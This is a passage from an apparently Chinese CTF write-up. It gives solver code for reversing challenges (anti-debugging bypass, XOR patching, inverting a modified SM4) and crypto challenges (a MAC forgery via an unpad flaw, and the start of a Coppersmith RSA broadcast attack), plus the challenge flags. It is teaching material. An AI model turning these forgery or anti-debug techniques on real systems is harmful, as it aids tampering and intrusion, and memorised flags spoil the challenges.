0x07070504, 0x9D9D803A, 0xC2C2683D, 0x2626B74B, 0x19199A6F, 0xB5B53D79, 0xA6A6D2E8, 0x8C8CE4D0, 0xDDDD06DF, 0x50501386, 0x05058E7F, 0x6767C027, 0x0D0D70FA, 0xD6D682A8, 0xEAEAD57E, 0xADAD569F, 0x53536974, 0x7D7D20BA, 0x6969CA2F, 0x7575DE3F, 0x161661EE, 0xDBDBF252, 0xD0D07625, 0xFEFE3FEB, 0x98980E45, 0xBDBDC3FC, 0xCFCF18C7, 0xBFBF4887, 0xA2A2AD1E, 0x04047FF6, 0x23233934, 0x4A4AF31B, 0x92927BBB, 0x10109563, 0xA3A35C97, 0xA4A45993, 0x24243C30, 0xF7F730E7, 0x4E4E8CED, 0x0808FE85, 0x6060C523, 0x3D3DA65F, 0x5D5D637C, 0x6A6AB0DD, 0x616134AA, 0x73732AB2, 0xE3E3DA72, 0x2B2BC7B1, 0x3939D9A9, 0xE7E7A584, 0x91910149, 0x38382820, 0xBCBC3275, 0xCDCD93BC, 0xFDFD4519, 0x5656E70B, 0xF9F93AEF, 0xB2B2387D, 0x65654B5C, 0x8F8F9E22, 0x494989E9, 0x5B5B97F1, 0x525298FD, 0x2C2CC2B5, 0x8686912E, 0xCACA96B8, 0x0B0B8477, 0x7C7CD133, 0x32325DDE, 0x3B3B52D2, 0xFAFA401D, 0x5C5C92F5, 0x00000000, 0x5F5FE807, 0xCBCB6731, 0xD7D77321, 0x2A2A3638, 0x7878AEC5, 0xCCCC6235, 0x6C6C4450, 0xABABA212, 0x4141776C, 0x3A3AA35B, 0xE2E22BFB, 0xDCDCF756, 0x36362228, 0x7A7A25BE, 0x62624E58, 0xF3F34F11, 0xEEEEAA88, 0x7F7FABC1, 0xC0C0E346, 0x0F0FFB81, 0x9C9C71B3, 0x18186BE6, 0x7272DB3B, 0x6363BFD1, 0x5A5A6678, 0xACACA716, 0x3737D3A1, 0xB4B4CCF0, 0xA1A1D7EC, 0x1B1B1114, 0xE8E85E05, 0x2E2E49CE, 0x8A8A105D, 0x89896AAF, 0x4545089A, 0x4B4B0292, 0xD2D2FD5E, 0x79795F4C, 0x9090F0C0, 0x02028B7B, 0x0606F48D, 0x03037AF2, 0x83831F51, 0x1E1E9F6B, 0x9999FFCC, 0xBBBB3771, 0xC7C7E642, 0x1313EF91, 0x9797F5C4, 0x3333AC57, 0x808065A3, 0xAFAFDDE4, 0x9F9F0B41, 0x6B6B4154, 0x0101F189, 0x8282EED8, 0x8B8BE1D4, 0x12121E18, 0x353558DA, 0xF1F1C46A, 0x0E0E0A08, 0x1A1AE09D, 0xA5A5A81A, 0x7B7BD437, 0x404086E5, 0xAEAE2C6D, 0xF0F035E3, 0xC6C617CB, 0x55559DF9, 0xE0E0A080, 0xC1C112CF, 0x95957EBF, 0x15151B1C, 0x5151E20F, 0xAAAA539B, 0xA8A8D8E0, 0x8E8E6FAB, 0x9696044D, 0xD5D5F85A, 0xFCFCB490, 0x6D6DB5D9, 0xDFDF8DA4, 0xDEDE7C2D, 0x3C3C57D6, 0x9A9A853E, 0xA7A72361, 0x09090F0C, 0xD3D30CD7, 0x272746C2, 0x57571682, 0x2525CDB9, 0x17179067, 0x666631AE, 0x48487860, 0xB8B84D83, 0x3E3EDCAD, 0x0C0C8173, 0xBABAC6F8, 0xB1B1428F, 0xB9B9BC0A, 0x54546C70, 0x42420D9E, 0x2121B24F, 0x8181942A, 0xE1E15109, 0x84841A55, 0xF4F44A15, 0xB7B7B602, 0xE9E9AF8C, 0xB3B3C9F4, 0x70705040, 0xEBEB24F7, 0xD9D97929, 0xF5F5BB9C, 0x93938A32, 0x5858ED03, 0xEFEF5B01, 0x2D2D333C, 0x474783E1, 0xF6F6C16E, 0xFFFFCE62, 0x6464BAD5, 0x0A0A75FE, 0x7676A4CD, 0xCECEE94E, 0x88889B26, 0x1C1C1410, 0x46467268, 0x4C4C0796, 0xFBFBB194, 0x878760A7, 0x4F4F7D64, 0x3030D6A5, 0xBEBEB90E, 0x74742FB6, 0x2F2FB847, 0x5E5E198E, 0x3F3F2D24, 0xC9C9EC4A, 0xD1D187AC, 0xD8D888A0, 0xECEC21F3, 0xE6E6540D, 0x2828BD43, 0x6E6ECF2B, 0x1D1DE599, 0x1414EA95, 0x1F1F6EE2, 0x2222C8BD, 0xA9A92969, 0x68683BA6, 0xF8F8CB66, 0xC5C56D39, 0x3434A953, 0xC3C399B4, 0x202043C6, 0xB0B0B306, 0xF2F2BE98, 0xC8C81DC3, 0x4D4DF61F, 0xDADA03DB, 0x7171A1C9, 0xE5E52EFF, 0xD4D409D3, 0xC4C49CB0, 0x9E9EFAC8, 0x6F6F3EA2, 0x4343FC17, 0x8585EBDC, 0xA0A02665, 0x111164EA, 0xE3C046E3, 0x6087A760, 0xE48CD0E4, 0x2F74B62F, 0x50704050, 0xFF99CCFF, 0x04964D04, 0xD939A9D9, 0x82D6A882, 0x5835DA58, 0x5A7E485A, 0xB06ADDB0, 0x6B18E66B, 0x975BF197, 0xA171C9A1, 0xCF6E2BCF, 0xEA1495EA, 0xB7264BB7, 0x719CB371, 0xED5803ED, 0xE9CE4EE9, 0xF64D1FF6, 0xCEFF62CE, 0x30F7E730, 0x9B88269B, 0x3166AE31, 0x207DBA20, 0x68C23D68, 0x362A3836, 0x91862E91, 0x6DC5396D, 0x6580A365, 0xC56023C5, 0x925CF592, 0xF4068DF4, 0x635D7C63, 0xB82F47B8, 0x38B27D38, 0x8E057F8E, 0x8640E586, 0xA8A51AA8, 0x18CFC718, 0xB1FB94B1, 0xA93453A9, 0x28382028, 0xD2A6E8D2, 0xC22CB5C2, 0xDAE372DA, 0xAE78C5AE, 0xDB723BDB, 0xB56DD9B5, 0xEE82D8EE, 0x3AF9EF3A, 0x5F794C5F, 0xA2AB12A2, 0x42B18F42, 0x32BC7532, 0x859A3E85, 0xF7DC56F7, 0x2EE5FF2E, 0x55774455, 0x79D92979, 0x87D1AC87, 0xA0E080A0, 0x93CDBC93, 0xBD2843BD, 0x5EE8055E, 0x96CAB896, 0x0A0E080A, 0xCBF866CB, 0x8347E183, 0xFB0F81FB, 0x2D3F242D, 0x416B5441, 0xF94413F9, 0xF34A1BF3, 0x6A89AF6A, 0x5BEF015B, 0x7D4F647D, 0xF090C0F0, 0x5CA3975C, 0xC9B3F4C9, 0x16578216, 0x27312C27, 0x4FF3114F, 0x37BB7137, 0xFDD25EFD, 0x7F04F67F, 0x665A7866, 0xC822BDC8, 0xBF63D1BF, 0xD17C33D1, 0x0E98450E, 0x62CC3562, 0x141C1014, 0x6116EE61, 0xAC3357AC, 0x26A06526, 0xE51D99E5, 0x51E10951, 0x3C24303C, 0x0CD3D70C, 0x17C6CB17, 0x40FA1D40, 0x6C54706C, 0x2A73B22A, 0xD7A1ECD7, 0x67CB3167, 0x95106395, 0xBA64D5BA, 0x48BF8748, 0x4627C246, 0x7A03F27A, 0x03DADB03, 0x700DFA70, 0xF8D55AF8, 0x7B92BB7B, 0x840B7784, 0x573CD657, 0x77416C77, 0x108A5D10, 0xD8A8E0D8, 0x4B655C4B, 0x523BD252, 0xD47B37D4, 0xEF1391EF, 0xA33A5BA3, 0x3B68A63B, 0xE18BD4E1, 0x39233439, 0x45FD1945, 0x24EBF724, 0xAAEE88AA, 0x0F090C0F, 0xBCB90ABC, 0xD5EA7ED5, 0x6411EA64, 0xC3BDFCC3, 0x59A49359, 0x1B151C1B, 0xDDAFE4DD, 0x2CAE6D2C, 0x9F1E6B9F, 0x12C1CF12, 0x01914901, 0x05070405, 0x3FFEEB3F, 0x72466872, 0xB6B702B6, 0x9E8F229E, 0x8A93328A, 0x257ABE25, 0x749BB774, 0x09D4D309, 0xE7560BE7, 0x4DB8834D, 0x88D8A088, 0x810C7381, 0x024B9202, 0xC72BB1C7, 0xECC94AEC, 0xF597C4F5, 0x90176790, 0x332D3C33, 0xDC3EADDC, 0x492ECE49, 0x1C598A1C, 0x5D32DE5D, 0xCCB4F0CC, 0x54E60D54, 0x158D5915, 0xC1F66EC1, 0x08459A08, 0x7CDE2D7C, 0x99C3B499, 0xCD25B9CD, 0xF10189F1, 0x1E12181E, 0xFA9EC8FA, 0x53AA9B53, 0x94812A94, 0x8949E989, 0x1F83511F, 0x8DDFA48D, 0xF2DB52F2, 0xB3B006B3, 0xDFE476DF, 0xC06727C0, 0xD630A5D6, 0x9852FD98, 0x13508613, 0xBBF59CBB, 0x2BE2FB2B, 0x22362822, 0x3E6FA23E, 0xE85F07E8, 0xE01A9DE0, 0x3461AA34, 0x9D55F99D, 0x111B1411, 0x3DB5793D, 0x78486078, 0x809D3A80, 0x4320C643, 0x195E8E19, 0xA63D5FA6, 0x00000000, 0xE6C742E6, 0x76D02576, 0x6F8EAB6F, 0xADA21EAD, 0x074C9607, 0x8F94368F, 0x35F0E335, 0xC6BAF8C6, 0x47B68B47, 0xDE753FDE, 0xAB7FC1AB, 0xD0ED7AD0, 0x0B9F410B, 0xD337A1D3, 0xE2510FE2, 0x4E62584E, 0x1DC8C31D, 0x4AF4154A, 0x446C5044, 0xC4F16AC4, 0x9A196F9A, 0x06DDDF06, 0xB2214FB2, 0xA476CDA4, 0x8B027B8B, 0xA7AC16A7, 0xB4FC90B4, 0xFE0885FE, 0xAFE98CAF, 0x69537469, 0xEB85DCEB, 0x73D72173, 0xB9BE0EB9, 0xCA692FCA, 0xA5E784A5, 0x9CC4B09C, 0x21ECF321, 0x23A76123, 0x0D429E0D, 0x7E95BF7E, 0x29A96929, 0x750AFE75, 0x6E1FE26E, 0x56AD9F56, 0x4C29CA4C, 0x8C4EED8C, 0xBEF298BE, 0x1A84551A, 0xFC4317FC, 0x4EED4E8C, 0x196F199A, 0xB883B84D, 0x7ABE7A25, 0x441344F9, 0x8BD48BE1, 0x7DBA7D20, 0xD1ACD187, 0x52FD5298, 0xE476E4DF, 0xDADBDA03, 0x5A785A66, 0xEF01EF5B, 0xA397A35C, 0xA51AA5A8, 0x068D06F4, 0x87A78760, 0x4B924B02, 0x07040705, 0xE372E3DA, 0x0F810FFB, 0xC1CFC112, 0xA969A929, 0x5BF15B97, 0x264B26B7, 0x459A4508, 0x812A8194, 0xEE88EEAA, 0x9436948F, 0xA6E8A6D2, 0x95BF957E, 0xF415F44A, 0x3F243F2D, 0xDC56DCF7, 0xF866F8CB, 0x9845980E, 0xC539C56D, 0x018901F1, 0xDFA4DF8D, 0xB006B0B3, 0x97C497F5, 0x0E080E0A, 0x8EAB8E6F, 0x6C506C44, 0x1FE21F6E, 0xC046C0E3, 0xECF3EC21, 0x6258624E, 0x55F9559D, 0x1E6B1E9F, 0xF0E3F035, 0xDE2DDE7C, 0xD929D979, 0x6FA26F3E, 0xA493A459, 0x7B377BD4, 0x32DE325D, 0x9D3A9D80, 0xF16AF1C4, 0x18E6186B, 0xB90AB9BC, 0x3D5F3DA6, 0x151C151B, 0x335733AC, 0xDB52DBF2, 0x0AFE0A75, 0x82D882EE, 0x1A9D1AE0, 0xF298F2BE, 0xAB12ABA2, 0xCFC7CF18, 0x89AF896A, 0xD3D7D30C, 0xD4D3D409, 0xFB94FBB1, 0x692F69CA, 0x027B028B, 0x74B6742F, 0xE784E7A5, 0xB702B7B6, 0x6E2B6ECF, 0x3CD63C57, 0x47E14783, 0x7FC17FAB, 0x00000000, 0x9BB79B74, 0x602360C5, 0xCB31CB67, 0x04F6047F, 0x61AA6134, 0xD025D076, 0xCC35CC62, 0x1218121E, 0x80A38065, 0x655C654B, 0x8F228F9E, 0xF59CF5BB, 0xC4B0C49C, 0x6DD96DB5, 0x510F51E2, 0x090C090F, 0xFC90FCB4, 0x76CD76A4, 0x11EA1164, 0xAD9FAD56, 0x91499101, 0x90C090F0, 0x9EC89EFA, 0x139113EF, 0xCAB8CA96, 0x36283622, 0x2CB52CC2, 0x71C971A1, 0x5D7C5D63, 0x429E420D, 0xE080E0A0, 0xE5FFE52E, 0x284328BD, 0x312C3127, 0xAC16ACA7, 0x723B72DB, 0xFF62FFCE, 0xB68BB647, 0x40E54086, 0xC94AC9EC, 0xD55AD5F8, 0x560B56E7, 0x4C964C07, 0x68A6683B, 0xCE4ECEE9, 0x5F075FE8, 0x7E487E5A, 0x8A5D8A10, 0xD721D773, 0x4D1F4DF6, 0x30A530D6, 0x25B925CD, 0xCDBCCD93, 0xE2FBE22B, 0xB18FB142, 0x8826889B, 0x2D3C2D33, 0x3EAD3EDC, 0x77447755, 0x73B2732A, 0x5E8E5E19, 0x5CF55C92, 0xBAF8BAC6, 0x53745369, 0x0DFA0D70, 0xEBF7EB24, 0xAA9BAA53, 0x1D991DE5, 0x672767C0, 0x964D9604, 0xBB71BB37, 0x8455841A, 0x78C578AE, 0x214F21B2, 0x6ADD6AB0, 0xD8A0D888, 0xB27DB238, 0xC6CBC617, 0x149514EA, 0x9CB39C71, 0x2BB12BC7, 0xA8E0A8D8, 0xBDFCBDC3, 0x0B770B84, 0x3A5B3AA3, 0xA761A723, 0x99CC99FF, 0x9A3E9A85, 0xA21EA2AD, 0x46684672, 0xFD19FD45, 0x580358ED, 0x8CD08CE4, 0x0C730C81, 0xFA1DFA40, 0x48604878, 0xEA7EEAD5, 0xE98CE9AF, 0x2430243C, 0xA1ECA1D7, 0x057F058E, 0xB4F0B4CC, 0xB3F4B3C9, 0x4F644F7D, 0x6B546B41, 0xE60DE654, 0xBF87BF48, 0x22BD22C8, 0xF311F34F, 0x9332938A, 0x49E94989, 0x416C4177, 0x50865013, 0x92BB927B, 0x088508FE, 0x23342339, 0x598A591C, 0xAFE4AFDD, 0x64D564BA, 0x1C101C14, 0xC3B4C399, 0xE109E151, 0x85DC85EB, 0x753F75DE, 0x7C337CD1, 0x17671790, 0xC742C7E6, 0x345334A9, 0xA065A026, 0x8D598D15, 0xE805E85E, 0xD25ED2FD, 0x66AE6631, 0x2A382A36, 0x4A1B4AF3, 0x8351831F, 0x35DA3558, 0x27C22746, 0xF66EF6C1, 0x20C62043, 0x431743FC, 0xAE6DAE2C, 0x9F419F0B, 0xB579B53D, 0x03F2037A, 0x63D163BF, 0xC8C3C81D, 0xED7AEDD0, 0xFEEBFE3F, 0xD6A8D682, 0x39A939D9, 0x16EE1661, 0x5470546C, 0x3BD23B52, 0x862E8691, 0x1B141B11, 0xBC75BC32, 0xC23DC268, 0xF7E7F730, 0x2F472FB8, 0x70407050, 0xBE0EBEB9, 0x794C795F, 0x38203828, 0x10631095, 0x37A137D3, 0x29CA294C, 0xF9EFF93A, 0xDDDFDD06, 0x2ECE2E49, 0x57825716, 0x7D417402, 0x7E721D1F, 0x8C219648, 0x49DCCA67, 0xA5705A22, 0x62D3DC8F, 0x69189C05, 0xBA7B287A, 0x946305E0, 0x4221C46A, 0xA5B54743, 0x83BE0F59, 0x0A12A2AA, 0x4C4C39E9, 0x8ECECDA6, 0x61F3F52C, 0x97E2077A, 0x2E99A95E, 0xEFE18498, 0x1CD31DA5, 0x456AA5B9, 0x36023F0B, 0xC4ED11CD, 0x02DAC41D, 0xE7CC1901, 0xED14F8A1, 0x94E9F986, 0x2BE2879F, 0x6565BA62, 0x2629D026, 0x8034B8CC, 0x212CD5F4, 0xCDD8BD39, 0x90042ED8, 0x3725D79C, 0x896C0C43, 0x7BE43031, 0xB3546C0D, 0xFD73D395, 0xC136D3B2]


overflow_byte = lambda x : x & 0xff
overflow_word = lambda x : x & 0xffff
overflow_dword = lambda x : x & 0xffffffff
overflow_qword = lambda x : x & 0xffffffffffffffff
HIBYTE = lambda x : (x >> 24) & 0xff
BYTE1 = lambda x : (x >> 8) & 0xff
BYTE2 = lambda x : (x >> 16) & 0xff
BYTE = lambda x : x & 0xff
WORD = lambda x : x & 0xffff

def ror4(data, bits):
    for i in range(bits):
        if data & 1:
            data >>= 1
            data |= 0x80000000
        else:
            data >>= 1
    return overflow_dword(data)

def rol4(data, bits):
    for i in range(bits):
        if data & 0x80000000:
            data <<= 1
            data |= 1
        else:
            data <<= 1
    return overflow_dword(data)


class Ex_Base64(object):
    """A new table for base64"""
    def __init__(self, new_table):
        super(Ex_Base64, self).__init__()
        self.old_table = list("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=")
        self.new_table = list(new_table) + ['=']

    def Ex_base64_decode(self, cipher):
        new_cipher = ""
        for i in range(len(cipher)):
            tmp_index = self.new_table.index(cipher[i])
            new_cipher += self.old_table[tmp_index]
        return new_cipher.decode("base64")

    def Ex_base64_encode(self, plain):
        new_cipher = ""
        tmp_cipher = plain.encode("base64").strip()
        for i in range(len(tmp_cipher)):
            tmp_index = self.old_table.index(tmp_cipher[i])
            new_cipher += self.new_table[tmp_index]
        return new_cipher

def encrypt_test(data, big_box=big_box):
    assert len(data) == 16
    arr = [0] * 6
    arr[0] = overflow_dword(struct.unpack('B', data[3])[0] << 24 | struct.unpack('B', data[2])[0] << 16 | struct.unpack('H', data[0:2])[0]) ^ big_box[1024]
    arr[1] = overflow_dword(struct.unpack('B', data[7])[0] << 24 | struct.unpack('B', data[6])[0] << 16 | struct.unpack('H', data[4:6])[0]) ^ big_box[1025]
    arr[2] = overflow_dword(struct.unpack('B', data[11])[0] << 24 | struct.unpack('B', data[10])[0] << 16 | struct.unpack('H', data[8:10])[0]) ^ big_box[1026]
    arr[3] = overflow_dword(struct.unpack('B', data[15])[0] << 24 | struct.unpack('B', data[14])[0] << 16 | struct.unpack('H', data[12:14])[0]) ^ big_box[1027]
    # print map(hex, arr)
    for i in range(16):
        if not i % 2:
            arr[4] = big_box[HIBYTE(arr[0])] ^ big_box[BYTE2(arr[0]) + 0x100] ^ big_box[BYTE1(arr[0]) + 0x200] ^ big_box[BYTE(arr[0]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[1]) + 0x100] ^ big_box[BYTE2(arr[1]) + 0x200] ^ big_box[BYTE1(arr[1]) + 0x300] ^ big_box[BYTE(arr[1])]
            # print map(hex, arr)
            arr[2] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[2], 1)
            arr[3] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[3], 1)
        else:
            arr[4] = big_box[HIBYTE(arr[2])] ^ big_box[BYTE2(arr[2]) + 0x100] ^ big_box[BYTE1(arr[2]) + 0x200] ^ big_box[BYTE(arr[2]) + 0x300]
            arr[5] = big_box[HIBYTE(arr[3]) + 0x100] ^ big_box[BYTE2(arr[3]) + 0x200] ^ big_box[BYTE1(arr[3]) + 0x300] ^ big_box[BYTE(arr[3])]
            # print map(hex, arr)
            arr[0] = ror4(overflow_dword(arr[5] + arr[4] + big_box[1032 + i*2]) ^ arr[0], 1)
            arr[1] = overflow_dword(arr[4] + arr[5] * 2 + big_box[1033 + i*2]) ^ rol4(arr[1], 1)
        # print "%d: "%(i) + str(map(hex, arr))
    # print map(hex, arr)
    arr[2] ^= big_box[1028]
    arr[3] ^= big_box[1029]
    arr[0] ^= big_box[1030]
    arr[1] ^= big_box[1031]
    # print map(hex, arr)
    return chr(BYTE(arr[2])) + struct.pack('H', WORD(arr[2] >> 8)) + chr(HIBYTE(arr[2])) + struct.pack('I', arr[3]) + struct.pack('I', arr[0]) + struct.pack('H', WORD(arr[1])) + chr(BYTE2(arr[1])) + chr(HIBYTE(arr[1]))

def encrypt_ojbk(data):
    assert len(data) == 32
    check_in = lambda x: x in "abcdef0123456789"
    for i in xrange(len(data)):
        if not check_in(data[i]):
            os.exit(0)
    
    first_list = [0] * 16
    for i in xrange(0, len(data), 2):
        tmp_index = int(data[i], 16)
        tmp_var = int(data[i + 1], 16)
        if first_list[tmp_index]:
            print "input error"
            os.exit(1)
        else:
            first_list[tmp_index] = tmp_var
    
    j = 0
    flag1 = 0
    flag2 = 0
    second_list = [0] * 24
    for x in xrange(24):
        if x % 6 == 0:
            second_list[x] = first_list[((-1 % 16) + flag1 * 4) % 16]
            flag1 += 1
        elif x % 6 == 5:
            second_list[x] = first_list[((4 % 16) + flag2 * 4) % 16]
            flag2 += 1
        else:
            second_list[x] = first_list[j]
            j += 1

    concat_byte = lambda x, y: x << 4 | y

    third_bytes = ''
    for x in xrange(0, len(second_list), 2):
        third_bytes += chr(concat_byte(second_list[x], second_list[x + 1]))

    tmp_s = "".join([chr(i) for i in range(150,214)])
    exbase = Ex_Base64(tmp_s)
    fourth_bytes = exbase.Ex_base64_encode(third_bytes)

    return encrypt_test(fourth_bytes)

if __name__ == '__main__':
    print encrypt_ojbk("afb1c2d3e4f5061728394a5b6c7d8e9f") == "".join(map(chr, [0xea, 0x6f, 0x69, 0xba, 0x79, 0xe3, 0xa9, 0x01, 0x4e, 0x2d, 0xf8, 0xc2, 0xb3, 0x2e, 0x29, 0x0a]))

Creakme

出题人:0xE4s0n
解题人数:21
最终分数:500

首先在程序开头是一个自解密
图片.png
找到程序的.SCTF段进行解密
图片.png
这里有一个SEH异常化处理
点击下面的xerf跳到正常执行流程

图片.png

接着又是一堆反调试 通过更改ZF寄存器的值可以跳过反调试
图片.png

接着开始解密,简单的异或取非
图片.png

用ida-python解密

addstr = 0x404000 addend = 0x405000 key = "sycloversyclover" j = 0 for i in range(addstr,addend,1): data = (~(Byte(i) ^ ord(key[j%len(key)]))&0xff) PatchByte(i,data) j += 1 print ("patched")

这里是对最后比较的密文进行了操作(ps.顺便说一下如果没过反调试的话该函数不会执行,即使输入正确flag也不会提示正确)

图片.png

解出后就比较简单了

程序将输入的字符串进行了AES_CBC_128_PKCS7Padding加密

key为sycloversyclover偏移sctfsctfsctfsctf

在线解密即可解出flag

图片.png

sctf{Ae3_C8c_I28_pKcs79ad4}

babyRe

出题人:n0n4me
解题人数:20
最终分数:512

题目是个elf文件,三段check。
第一段是个三维5_5_5的正方体迷宫(出了非预期,我谢罪),三维的迷宫路径为ddwwxxssxaxwwaasasyywwdd;
第二段base64解密,结果与sctf_9102进行比较,使用在线工具得:c2N0Zl85MTAy。
第三段是魔改的sm4,直接逆的难度也并不大,回溯求解可得出flag,也可以在网上找解sm4的脚本,改一些参数就行;当然也可以直接将最后比较的内容输入进程序解出第三段:fl4g_is_s0_ug1y!。
flag:sctf{ddwwxxssxaxwwaasasyywwdd-c2N0Zl85MTAy(fl4g_is_s0_ug1y!)}

#include <stdio.h>
#include <stdlib.h>

#define ror(x,n) ((x<<(32 - n))|(x>>n))
#define rol(x,n) ((x>>(32 - n))|(x<<n))

unsigned int fun2(unsigned int a1)
{
    int table[288]={0xD6, 0x90, 0xE9, 0xFE, 0xCC, 0xE1, 0x3D, 0xB7, 0x16, 0xB6, 
  0x14, 0xC2, 0x28, 0xFB, 0x2C, 0x05, 0x2B, 0x67, 0x9A, 0x76, 
  0x2A, 0xBE, 0x04, 0xC3, 0xAA, 0x44, 0x13, 0x26, 0x49, 0x86, 
  0x06, 0x99, 0x9C, 0x42, 0x50, 0xF4, 0x91, 0xEF, 0x98, 0x7A, 
  0x33, 0x54, 0x0B, 0x43, 0xED, 0xCF, 0xAC, 0x62, 0xE4, 0xB3, 
  0x1C, 0xA9, 0xC9, 0x08, 0xE8, 0x95, 0x80, 0xDF, 0x94, 0xFA, 
  0x75, 0x8F, 0x3F, 0xA6, 0x47, 0x07, 0xA7, 0xFC, 0xF3, 0x73, 
  0x17, 0xBA, 0x83, 0x59, 0x3C, 0x19, 0xE6, 0x85, 0x4F, 0xA8, 
  0x68, 0x6B, 0x81, 0xB2, 0x71, 0x64, 0xDA, 0x8B, 0xF8, 0xEB, 
  0x0F, 0x4B, 0x70, 0x56, 0x9D, 0x35, 0x1E, 0x24, 0x0E, 0x5E, 
  0x63, 0x58, 0xD1, 0xA2, 0x25, 0x22, 0x7C, 0x3B, 0x01, 0x21, 
  0x78, 0x87, 0xD4, 0x00, 0x46, 0x57, 0x9F, 0xD3, 0x27, 0x52, 
  0x4C, 0x36, 0x02, 0xE7, 0xA0, 0xC4, 0xC8, 0x9E, 0xEA, 0xBF, 
  0x8A, 0xD2, 0x40, 0xC7, 0x38, 0xB5, 0xA3, 0xF7, 0xF2, 0xCE, 
  0xF9, 0x61, 0x15, 0xA1, 0xE0, 0xAE, 0x5D, 0xA4, 0x9B, 0x34, 
  0x1A, 0x55, 0xAD, 0x93, 0x32, 0x30, 0xF5, 0x8C, 0xB1, 0xE3, 
  0x1D, 0xF6, 0xE2, 0x2E, 0x82, 0x66, 0xCA, 0x60, 0xC0, 0x29, 
  0x23, 0xAB, 0x0D, 0x53, 0x4E, 0x6F, 0xD5, 0xDB, 0x37, 0x45, 
  0xDE, 0xFD, 0x8E, 0x2F, 0x03, 0xFF, 0x6A, 0x72, 0x6D, 0x6C, 
  0x5B, 0x51, 0x8D, 0x1B, 0xAF, 0x92, 0xBB, 0xDD, 0xBC, 0x7F, 
  0x11, 0xD9, 0x5C, 0x41, 0x1F, 0x10, 0x5A, 0xD8, 0x0A, 0xC1, 
  0x31, 0x88, 0xA5, 0xCD, 0x7B, 0xBD, 0x2D, 0x74, 0xD0, 0x12, 
  0xB8, 0xE5, 0xB4, 0xB0, 0x89, 0x69, 0x97, 0x4A, 0x0C, 0x96, 
  0x77, 0x7E, 0x65, 0xB9, 0xF1, 0x09, 0xC5, 0x6E, 0xC6, 0x84, 
  0x18, 0xF0, 0x7D, 0xEC, 0x3A, 0xDC, 0x4D, 0x20, 0x79, 0xEE, 
  0x5F, 0x3E, 0xD7, 0xCB, 0x39, 0x48, 0xC6, 0xBA, 0xB1, 0xA3, 
  0x50, 0x33, 0xAA, 0x56, 0x97, 0x91, 0x7D, 0x67, 0xDC, 0x22, 
  0x70, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
    unsigned int v1,v2;
    v1 = (table[a1&0xff]) | (table[(a1>>8)&0xff]<<8) | (table[(a1>>16)&0xff]<<16) |(table[(a1>>24)&0xff]<<24);
    v2=ror(v1,2)^rol(v1,8)^rol(v1,12)^ror(v1,6);
    return v2;
}

unsigned int fun1(unsigned int a1,unsigned int a2,unsigned int a3,unsigned int a4)
{
    return a1^fun2(a4^a3^a2);
}

int main()
{
    unsigned int str[4]={0xbe040680,0xc5af7647,0x9fcc401f,0xd8bf92ef};
    unsigned int cipher[30];
    cipher[26]=str[0];
    cipher[27]=str[1];
    cipher[28]=str[2];
    cipher[29]=str[3];
    int flag[24];
    int i,j=0;
    for(i=25;i>=0;i--)
    {
        cipher[i]=fun1(cipher[i+4],cipher[i+3],cipher[i+2],cipher[i+1]);
    }
    printf("0x%x,0x%x,0x%x,0x%x\n",cipher[0],cipher[1],cipher[2],cipher[3]);
    j=0;
    for(i=0;i<16;i +=4)
    {
        flag[i]=(cipher[j])&0xff;
        flag[i+1]=(cipher[j]>>8)&0xff;
        flag[i+2]=(cipher[j]>>16)&0xff;
        flag[i+3]=(cipher[j]>>24)&0xff;
        j++;
    }
    for(i=0;i<16;i++)
    {
        printf("%c",flag[i]);
    }
}

Crypto

warmup

出题人:r1ngs
解题人数:49
最终分数:294

一个简单的消息认证码。

对于这个MAC算法:令消息$M=(X_1;||;X_2;||;\cdots;||;X_m)$,定义$\Delta (M)=(X_1;\oplus;X_2;\oplus;\cdots;\oplus;X_m)$

则$MAC(K,;M) = E(K, ;\Delta (M))$

如果知道${M;||;MAC(K, M)}$,可以伪造消息$M';={Y_1;||;Y_2;||;\cdots;||;Y_{m-1};||;Y_m}$其中$Y_m={Y_1;\oplus;Y_2;\oplus;\cdots;\oplus;Y_{m-1};\oplus;\Delta(M)}$

则MAC值相同但是$M'$可以是任意的

再结合unpad的没有检查最后一个字符范围的漏洞对$M'$截断就行了,做法不唯一,但也都大同小异

from Crypto.Util.strxor import strxor


def pad(msg):
    pad_length = 16 - len(msg) % 16
    return msg + chr(pad_length) * pad_length

raw = pad('see you at three o\'clock tomorrow')
raw_len = len(raw)
target = 'please send me your flag'
target_len = len(target)
target = pad(target)


res = chr(0)*16
for i in range(len(raw)/16):
    res = strxor(raw[i*16:(i+1)*16], res)

unpad_char = strxor(strxor(target[15],res[-1]), chr(raw_len-target_len))
target = target[:-1]+unpad_char
extra = strxor(strxor(target[:16], target[16:32]), res)

msg = target+extra
print msg.encode('hex')

babygame

出题人:r1ngs
解题人数:17
最终分数:555

主要是一个带线性填充的RSA广播攻击和OFB模式下的字节反转

题目中的形式如下:
$$<br />\begin{align*}<br />(a_1m+b_1)^e&\equiv c_1 (mod\ n_1) \<br />(a_2m+b_2)^e&=c_2 (mod\ n_2) \<br />(a_3m+b_3)^e&=c_3 (mod\ n_3)<br />\end{align*}<br />$$
做法如下:

使用CRT计算$T_i$,使得$T_i \equiv1(mod\ n_i)$ 且$T_i\equiv0(mod\ n_j)$ ,构造一个多项式$g(x)=\Sigma T_i((a_ix+b_i)^e-c_i)$

那么$g(m)\equiv0(mod\ n_i)$, 且由于$gcd(n_i, n_j)=1$, 所以,$m$是$g(x)$模$N$的一个根,其中$N=\prod n_i$,又因为$m<n_i$,所以$m{1/degg(x)}$,那么只要把$g(x)$转换成首一多项式就可以使用Coppersmith理论恢复$m$了

随便取一组数据计算m, sage代码如下:

from binascii import *

a = [
    0xfec659e2deb0cd94061a952132d030600a44df8348a5886e13afda8bf8e0fa992bb2916b43a90799ca65b95f4890c4edf31aee13e14a13150fc0f3ca12a19f91L, 
    0xb5dfd083ffe7da9c7ef1d9a263992cb5bcafadd3305aa1617fcab9f0691e5b1fb3d380bac82865199816e42657ce5d63f9ca374d7635f6108e51230c6d01877bL,
    0xfd1ff488363c98c927bde8b610d95725b81326edff5d076b0c6907d03e328600fa4a92e2dfb003fe102139a3568ad0ede64be0cb911a9a60f41b60108b21fe13L
]
b = [
